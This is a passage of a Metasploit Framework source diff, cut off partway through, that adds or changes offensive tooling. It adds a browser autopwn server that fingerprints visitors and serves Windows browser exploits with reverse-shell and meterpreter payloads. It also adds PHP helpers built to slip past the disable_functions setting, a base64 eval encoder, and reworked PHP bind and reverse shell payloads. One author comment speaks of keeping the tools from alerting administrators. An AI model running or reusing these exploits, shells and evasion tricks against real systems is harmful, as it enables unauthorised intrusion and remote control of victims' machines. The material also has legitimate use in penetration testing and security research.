diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb index 36a7810333..7602fce753 100644 --- a/lib/msf/core/exploit/http.rb +++ b/lib/msf/core/exploit/http.rb @@ -443,6 +443,7 @@ protected cli.send_response(response) end + # # Sends a 302 redirect relative to our base path # @@ -451,6 +452,27 @@ protected end + # + # Sends a 404 + # + def send_not_found(cli) + resp_404 = create_response(404, 'Not Found') + resp_404.body = %Q{ + + +404 Not Found + +

Not Found

+

The requested URL /404.html was not found on this server.

+
+
Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}
+ +} + + cli.send_response(resp_404) + end + + # # Returns the configured (or random, if not configured) URI path # diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb new file mode 100644 index 0000000000..659303e469 --- /dev/null +++ b/lib/msf/core/payload/php.rb @@ -0,0 +1,147 @@ +require 'msf/core' + +### +# +### +module Msf::Payload::Php + + def initialize(info = {}) + super(info) + end + + def php_preamble(options = {}) + dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + dis = '$' + dis if (dis[0,1] != '$') + + @dis = dis + + preamble = " + @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); + #{dis}=@ini_get('disable_functions'); + if(!empty(#{dis})){ + #{dis}=preg_replace('/[, ]+/', ',', #{dis}); + #{dis}=explode(',', #{dis}); + #{dis}=array_map('trim', #{dis}); + }else{ + #{dis}=array(); + } + " + return preamble + end + + def php_system_block(options = {}) + cmd = options[:cmd_varname] || '$cmd' + dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + + if (@dis.nil?) + @dis = dis + end + + cmd = '$' + cmd if (cmd[0,1] != '$') + dis = '$' + dis if (dis[0,1] != '$') + output = '$' + output if (output[0,1] != '$') + + is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + + setup = " + #{cmd}=#{cmd}.\" 2>&1\\n\"; + #{is_callable}='is_callable'; + #{in_array}='in_array'; + " + shell_exec = " + if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){ + #{output}=shell_exec(#{cmd}); + }else" + passthru = " + if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){ + ob_start(); + passthru(#{cmd}); + #{output}=ob_get_contents(); + ob_end_clean(); + }else" + system = " + if(#{is_callable}('system')and!#{in_array}('system',#{dis})){ + ob_start(); + system(#{cmd}); + #{output}=ob_get_contents(); + ob_end_clean(); + }else" + exec = " + if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){ + #{output}=array(); + exec(#{cmd},#{output}); + #{output}=join(chr(10),#{output}).chr(10); + }else" + proc_open = " + if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){ + $handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); + #{output}=NULL; + while(!feof($pipes[1])){ + #{output}.=fread($pipes[1],1024); + } + @proc_close($handle); + }else" + popen = " + if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){ + $fp=popen(#{cmd},r); + #{output}=NULL; + if(is_resource($fp)){ + while(!feof($fp)){ + #{output}.=fread($fp,1024); + } + } + @pclose($fp); + }else" + fail_block = " + { + #{output}=0; + } + " + + #exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand } + exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]#.sort_by { rand } + buf = setup + exec_methods.join("") + fail_block + #buf = Rex::Text.compress(buf) + + ### + # All of this junk should go in an encoder + # + # Replace all single-quoted strings with quoteless equivalents, e.g.: + # echo('asdf'); + # becomes + # echo($a.$s.$d.$f); + # and add "$a=chr(97);" et al to the top of the block + # + # Once this is complete, it is guaranteed that there are no spaces + # inside strings. This combined with the fact that there are no + # function definitions, which require a space between the "function" + # keyword and the name, means we can completely remove spaces. + # + #alpha_used = { 95 } + #buf.gsub!(/'(.*?)'/) { + # str_array = [] + # $1.each_byte { |c| + # if (('a'..'z').include?(c.chr)) + # alpha_used[c] = 1 + # str_array << "$#{c.chr}." + # else + # str_array << "chr(#{c})." + # end + # } + # str_array.last.chop! + # str_array.join("") + #} + #if (alpha_used.length > 1) + # alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf } + #end + # + #buf.gsub!(/\s*/, '') + # + ### + + return buf + + end +end diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 6c579e3b88..0ea6e5bfb8 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -39,7 +39,7 @@ class ObfuscateJS # Returns the dynamic symbol associated with the supplied symbol name # def sym(name) - @dynsym[name] + @dynsym[name] || name end # diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index c2378e2575..88f8ffac76 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -213,20 +213,21 @@ class Rex::Socket::Comm::Local def self.proxy (sock, type, host, port) + #$stdout.print("PROXY\n") case type.downcase when 'socks4' setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00" size = sock.put(setup) if (size != setup.length) - raise ArgumentError, "Wrote less data than expected to the socks proxy" + raise ArgumentError, "Wrote less data than expected to the socks4 proxy" end - + begin ret = sock.get_once(8, 30) rescue IOError raise Rex::ConnectionRefused.new(host, port), caller end - + if (ret.nil? or ret.length < 8) raise ArgumentError, 'SOCKS4 server did not respond with a proper response' end @@ -234,30 +235,42 @@ class Rex::Socket::Comm::Local raise "SOCKS4 server responded with error code #{ret[0]}" end when 'socks5' - # TODO: add dns lookups through socks5 auth_methods = [5,1,0].pack('CCC') size = sock.put(auth_methods) if (size != auth_methods.length) - raise ArgumentError, "Wrote less data than expected to the socks proxy" + raise ArgumentError, "Wrote less data than expected to the socks5 proxy" end response = sock.get_once(2,30) if (0xff == response[1,1]) raise ArgumentError, "Proxy requires authentication" end - setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n') + if (Rex::Socket.is_ipv4?(host)) + addr = Rex::Socket.gethostbyname(host)[3] + setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n') + elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host)) + # IPv6 stuff all untested + addr = Rex::Socket.gethostbyname(host)[3] + setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n') + else + # Then it must be a domain name. + # Unfortunately, it looks like the host has always been + # resolved by the time it gets here, so this code never runs. + setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n') + end + size = sock.put(setup) if (size != setup.length) - raise ArgumentError, "Wrote less data than expected to the socks proxy" + raise ArgumentError, "Wrote less data than expected to the socks5 proxy" end - + begin response = sock.get_once(10, 30) rescue IOError raise Rex::ConnectionRefused.new(host, port), caller end - - if (response.nil? or response.length < 8) + + if (response.nil? or response.length < 10) raise ArgumentError, 'SOCKS5 server did not respond with a proper response' end if response[1] != 0 diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb new file mode 100644 index 0000000000..36fc00788d --- /dev/null +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -0,0 +1,309 @@ +## +# $Id:$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + + +require 'msf/core' + +module Msf + +class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary + + BROWSER_IE = "MSIE" + BROWSER_FF = "Firefox" + BROWSER_SAFARI = "Safari" + OS_LINUX = "Linux" + OS_MAC_OSX = "Mac OSX" + OS_WINDOWS = "Windows" + + include Exploit::Remote::HttpServer::HTML + include Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HTTP Client fingerprinter', + 'Version' => '$Revision: $', + 'Description' => %q{ + Webbrowser fingerprinter and autoexploiter. + }, + 'Author' => 'egypt ', + 'License' => BSD_LICENSE, + 'Actions' => + [ + [ 'WebServer' ] + ], + 'PassiveActions' => + [ + 'WebServer' + ], + 'DefaultAction' => 'WebServer')) + + register_options([ + OptAddress.new('LHOST', [true, 'Your local IP address ror reverse payloads']), + OptPort.new('LPORT', [false, 'For reverse payloads; incremented for each exploit', 4444]) + ]) + + @exploits = Hash.new + end + def init_exploit(name) + case name + when %r#exploit/windows# + payload='windows/meterpreter/reverse_tcp' + else + payload='generic/shell_reverse_tcp' + end + @exploits[name] = framework.modules.create(name) + @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT'] + + # for testing, set the exploit uri to the name of the exploit so it's + # easy to tell what is happening from the browser + @exploits[name].datastore['URIPATH'] = name + + @exploits[name].datastore['LPORT'] = @lport + @exploits[name].datastore['LHOST'] = @lhost + @exploits[name].exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => payload, + 'RunAsJob' => true) + + #print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}") + @lport += 1 + end + + def setup() + super + @lport = datastore['LPORT'] || 4444 + @lhost = datastore['LHOST'] + @lport = @lport.to_i + print_status("Starting exploit modules...") + + ## + # Start all the exploit modules + ## + + # TODO: add an Automatic target to this guy. + # For now just use the default target of Mac. + # requires javascript + #init_exploit('exploit/multi/browser/firefox_queryinterface') + + # works on iPhone + # does not require javascript + #init_exploit('exploit/osx/armle/safari_libtiff') + + #init_exploit('exploit/osx/browser/software_update') + #init_exploit('exploit/windows/browser/ani_loadimage_chunksize') + #init_exploit('exploit/windows/browser/apple_quicktime_rtsp') + + # Works on default IE 5.5 and 6 + # does not require javascript + init_exploit('exploit/windows/browser/ms03_020_ie_objecttype') + + # requires javascript + init_exploit('exploit/windows/browser/novelliprint_getdriversettings'); + + # requires javascript + #init_exploit('exploit/windows/browser/ms06_055_vml_method') + + # Works on default IE 5 and 6 + # requires javascript + # requires ActiveXObject('DirectAnimation.PathControl') + init_exploit('exploit/windows/browser/ms06_067_keyframe') + + # only works on IE with XML Core Services + # requires javascript + # requires classid 88d969c5-f192-11d4-a65f-0040963251e5 + init_exploit('exploit/windows/browser/ms06_071_xml_core') + + #init_exploit('exploit/windows/browser/winamp_playlist_unc') + + # requires UNC path which seems to only work on IE in my tests + #init_exploit('exploit/windows/smb/smb_relay') + end + + def on_request_uri(cli, request) + print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") + + browser_make = nil + browser_ver = nil + + ua = request['User-Agent'] + case (ua) + when /Firefox\/((:?[0-9]+\.)+[0-9]+)/: + ua_name = BROWSER_FF + ua_vers = $1 + when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/: + ua_name = BROWSER_IE + ua_vers = $1 + when /Version\/(\d+\.\d+\.\d+).*Safari/ + ua_name = BROWSER_SAFARI + ua_vers = $1 + end + case (ua) + when /Windows/: + os_name = OS_WINDOWS + when /Linux/: + os_name = OS_LINUX + when /iPhone/ + os_name = OS_MAC_OSX + os_arch = 'armle' + when /Mac OS X/ + os_name = OS_MAC_OSX + end + case (ua) + when /PPC/ + os_arch = 'ppc' + when /i.86/ + os_arch = 'x86' + end + + os_name ||= 'Unknown' + + print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}") + report_note( + :host => cli.peerhost, + :type => 'http_request', + :data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}" + ) + + response = create_response() + + case request.uri + when datastore['URIPATH']: + # TODO: consider having a javascript timeout function that writes + # each exploit's iframe so they don't step on each other. + + # for smb_relay + windows_html = %Q{ +
+ +
+ } + #osx_html = %Q{ + #
+ # '+ + #
+ # } + + var_onload_func = Rex::Text.rand_text_alpha(8) + objects = { + 'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource, + '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource, + '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource, + } + hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join + hash_declaration = hash_declaration[0,hash_declaration.length-1] + + script = < /path/to/exploit/for/classid + // and + // ActiveXname => /path/to/exploit/for/ActiveXname + var object_list = new Hash(#{hash_declaration}); + + if (navigator.userAgent.indexof("MSIE") != -1) { + // iterate through our list of exploits + for (var current_item in object_list.items) { + // classids are stored surrounded in braces for an easy way to tell + // them from ActiveX object names, so if it has braces, strip them + // out and create an object element with that classid + if (current_item.substring(0,1) == '{') { + obj_element = document.createElement("object"); + obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ; + obj_element.setAttribute("id", current_item); + body_elem.appendChild(obj_element); + vuln_obj = document.getElementById(current_item); + } else { + // otherwise, try to create an AXO with that name + try { vuln_obj = new ActiveXObject(current_item); } catch(e){} + } + if (vuln_obj) { + body_elem.innerHTML += '

' + object_list.items[current_item] + '

'; + //body_elem.innerHTML += ''; + } + vuln_obj = null; + } + } +} +ENDJS + js = Rex::Exploitation::ObfuscateJS.new(script) + js.obfuscate( + 'Symbols' => { + 'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ] + } + ) + body = < +

Please wait while we connect you...

+ +ENDHTML + #body << " " + + response.body = ' Loading ' + response.body << ' ' + body + + if (os_name == OS_WINDOWS) + response.body << windows_html + end + if (os_name == OS_MAC_OSX) + response.body << osx_html + end + response.body << "" + response.body = Rex::Text.randomize_space(response.body) + else + print_error("I don't know how to handle that request #{request.uri}, sending 404") + send_not_found(cli) + return false + end + response['Expires'] = '0' + response['Cache-Control'] = 'must-revalidate' + + cli.send_response(response) + end + + def run + exploit() + end + +end +end + +=begin +=end diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index b680e4a729..8753b86b99 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -134,7 +134,7 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary os_name = 'iPhone' os_arch = 'armle' when /Mac OS X/ - os = 'Mac' + os_name = 'Mac' end case (ua) diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb new file mode 100644 index 0000000000..b6b9cfabd7 --- /dev/null +++ b/modules/encoders/php/base64.rb @@ -0,0 +1,72 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf +module Encoders +module Php + +class Base64 < Msf::Encoder + + def initialize + super( + 'Name' => 'PHP Base64 encoder', + 'Version' => '$Revision: $', + 'Description' => %q{ + This encoder returns a base64 string encapsulated in + eval(base64_decode()), increasing the size by roughly one + third. + }, + 'Author' => 'egypt ', + 'License' => BSD_LICENSE, + 'Arch' => ARCH_PHP) + end + + def encode_block(state, buf) + # PHP escapes quotes by default with magic_quotes_gpc, so we use some + # tricks to get around using them. + # + # The raw, unquoted base64 without the terminating equals works because + # PHP treats it like a string. There are, however, a couple of caveats + # because first, PHP tries to parse the bare string as a constant. + # Because of this, the string is limited to things that can be + # identifiers, i.e., things that start with [a-zA-Z] and contain only + # [a-zA-Z0-9_]. Also, for payloads that encode to more than 998 + # characters, only part of the payload gets unencoded on the victim, + # presumably due to a limitation in php identifier names, so we break + # the encoded payload into roughly 900-byte chunks. + b64 = Rex::Text.encode_base64(buf) + + # The '=' or '==' used for padding at the end of the base64 encoded + # data is unnecessary and can cause parse errors when we use it as a + # raw string, so strip it off. + b64.gsub!(/[=\n]+/, '') + + b64.gsub!(/[+]/, '.chr(0x2b).') + i = 900; + while i < b64.length + while (b64[i].chr =~ /^[0-9]/) + # We must be careful not to begin a chunk with a digit because + # then PHP thinks it's a number and chokes. + i += 1 + end + b64.insert(i,'.') + i += 900 + end + + return "eval(base64_decode(" + b64 + "));" + end + +end + +end end end diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 221d01cd50..de771a3ea0 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -70,7 +70,7 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) handler(cli) end diff --git a/modules/exploits/osx/armle/safari_libtiff.rb b/modules/exploits/osx/armle/safari_libtiff.rb index a1d5591da9..329cb3e756 100644 --- a/modules/exploits/osx/armle/safari_libtiff.rb +++ b/modules/exploits/osx/armle/safari_libtiff.rb @@ -85,7 +85,7 @@ class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote # Grab reference to the target t = target - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' }) diff --git a/modules/exploits/osx/browser/safari_libtiff.rb b/modules/exploits/osx/browser/safari_libtiff.rb index 07f48a5783..cd16b9c834 100644 --- a/modules/exploits/osx/browser/safari_libtiff.rb +++ b/modules/exploits/osx/browser/safari_libtiff.rb @@ -73,7 +73,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote # Grab reference to the target t = target - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' }) diff --git a/modules/exploits/windows/browser/ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ani_loadimage_chunksize.rb index 357bbf455d..5d1afcf156 100644 --- a/modules/exploits/windows/browser/ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ani_loadimage_chunksize.rb @@ -290,7 +290,7 @@ include Exploit::Remote::HttpServer::HTML # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) - print_status("Sending ANI file to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' }) diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 5ecc845a2c..3f7ebee31c 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -66,7 +66,7 @@ class Exploits::Windows::Browser::Apple_Quicktime_RTSP < Msf::Exploit::Remote content << "\n" - print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...") + print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...") send_response(client, content, { 'Content-Type' => 'text/html' }) diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index 631d4da761..7638c85b4e 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -99,7 +99,7 @@ class Exploits::Windows::Browser::MS03_020_Ie_ObjectType < Msf::Exploit::Remote "" + "" - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index 7409b7dfcd..00025663d9 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -72,7 +72,7 @@ class Exploits::Windows::Browser::MS06_067_KEYFRAME < Msf::Exploit::Remote def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # This is taken directly from Alex's exploit -- all credit goes to him. trigger_js = heaplib( diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index 2a09631428..03c8eb8894 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -129,7 +129,7 @@ class Exploits::Windows::Browser::MS06_071_XML_CORE < Msf::Exploit::Remote content = Rex::Text.randomize_space(content) - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb index 9dfe99be9b..fc6e2d1f8c 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb @@ -106,7 +106,7 @@ class Exploits::Windows::Browser::NovelliPrint_GetDriverSettings < Msf::Exploit: content = Rex::Text.randomize_space(content) - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name}to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 2226c5699d..524161c041 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -11,6 +11,7 @@ require 'msf/core' +require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' @@ -22,13 +23,14 @@ module Php module BindPhp include Msf::Payload::Single + include Msf::Payload::Php def initialize(info = {}) super(merge_info(info, 'Name' => 'PHP Command Shell, Bind TCP (via php)', 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell via php (persistent)', - 'Author' => ['diaul ',], + 'Author' => ['egypt', 'diaul ',], 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, @@ -47,41 +49,43 @@ module BindPhp # PHP Bind Shell # def php_bind_shell + + dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4); shell = <<-END_OF_PHP_CODE - error_reporting(E_ALL); - - set_time_limit(0); - ob_implicit_flush(); + #{php_preamble({:disabled_varname => dis})} + $port=#{datastore['LPORT']}; - $port = #{datastore['LPORT']}; - - $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - $ret = socket_bind($sock, 0, $port); - $ret = socket_listen($sock, 5); - $msgsock = socket_accept($sock); - - while (true) - { - $command = socket_read($msgsock, 2048, PHP_NORMAL_READ); - $output = shell_exec(substr($command, 0, -1)); - socket_write($msgsock, $output, strlen($output)); - } - + $scl='socket_create_listen'; + if(is_callable($scl)&&!in_array($scl,#{dis})){ + $sock=$scl($port); + }else{ + $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); + $ret=socket_bind($sock,0,$port); + $ret=socket_listen($sock,5); + } + $msgsock=socket_accept($sock); socket_close($sock); + + while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) + { + + $c=socket_read($msgsock,2048,PHP_NORMAL_READ); + if(FALSE===$c){break;} + #{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})} + socket_write($msgsock,$o,strlen($o)); + } + socket_close($msgsock); END_OF_PHP_CODE return shell - end - # # Constructs the payload # def generate return super + php_bind_shell end - end diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index 370847661a..b1bffa4651 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# $Id:$ +# $Id$ ## ## @@ -11,6 +11,7 @@ require 'msf/core' +require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' @@ -22,6 +23,7 @@ module Php module ReversePerl include Msf::Payload::Single + include Msf::Payload::Php def initialize(info = {}) super(merge_info(info, @@ -47,7 +49,11 @@ module ReversePerl # Constructs the payload # def generate - return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))" + buf = "#{php_preamble}" + buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');" + buf += "#{php_system_block({:cmd_varname=>"$c"})}" + return super + buf + end # diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 439ef44ba3..3b414a3cbd 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -11,6 +11,7 @@ require 'msf/core' +require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' @@ -22,6 +23,7 @@ module Php module ReversePhp include Msf::Payload::Single + include Msf::Payload::Php def initialize(info = {}) super(merge_info(info, @@ -43,20 +45,6 @@ module ReversePhp )) end - # - # PHP Reverse Shell completely without quotes. Strings and regexes - # are replaced with chr() equivalents and the IP address to connect to is - # replaced with integer equivalent wrapped in long2ip(). - # - # Attempts to make a connection back to the attacker using fsockopen or - # socket_create and associated functions. Then attempts to execute a - # system command with the following functions, in order: - # - shell_exec - # - passthru - # - system - # - exec - # - proc_open - # - popen # # Issues # - Since each command is executed in a new shell, 'cd' does nothing. @@ -64,7 +52,9 @@ module ReversePhp # - Tries to get around disable_functions but makes no attempts to # circumvent safe mode. # - Should this add '2>&1' to the end of the executed command to avoid - # logging suspicious error messages? + # logging suspicious error messages? I'm afraid this will break + # the payload, especially on Windows, but I also don't like my tools + # ratting on me to the administrator. # def php_reverse_shell @@ -76,113 +66,48 @@ module ReversePhp ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first port = datastore['LPORT'] end + exec_funcname = Rex::Text.rand_text_alpha(5) - # - # The regex looks like this unobfuscated: - # preg_replace('/[, ]+/', ',', $disabled); - # shell=<<-END_OF_PHP_CODE $ipaddr=long2ip(#{ipaddr}); $port=#{port}; - $_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101); - $f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109); - $n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116); - $u=chr(117);$x=chr(120);$y=chr(121); - $disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s); - if(!empty($disabled)){ - $disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled); - $disabled=explode(chr(44),$disabled); - $disabled=array_map($t.$r.$i.$m,$disabled); - }else{ - $disabled=array(); - } - @set_time_limit(0); - @ignore_user_abort(1); - @ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0); - function myexec($cmd){ - global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y; - if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){ - $output=shell_exec($cmd); - return$output; - }elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){ - ob_start(); - passthru($cmd); - $output=ob_get_contents(); - ob_end_clean(); - return$output; - }elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){ - ob_start(); - system($cmd); - $output=ob_get_contents(); - ob_end_clean(); - return$output; - }elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){ - $output=array(); - exec($cmd,$output); - $output=join(chr(10),$output).chr(10); - return$output; - }elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){ - $handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); - $output=NULL; - while(!feof($pipes[1])){ - $output.=fread($pipes[1],1024); - } - @proc_close($handle); - return$output; - }elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){ - $fp=popen($cmd,r); - $output=NULL; - if(is_resource($fp)){ - while(!feof($fp)){ - $output.=fread($fp,1024); - } - } - @pclose($fp); - return$output; - }else{ - return false; - } - } - $command=NULL; - $nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40); - 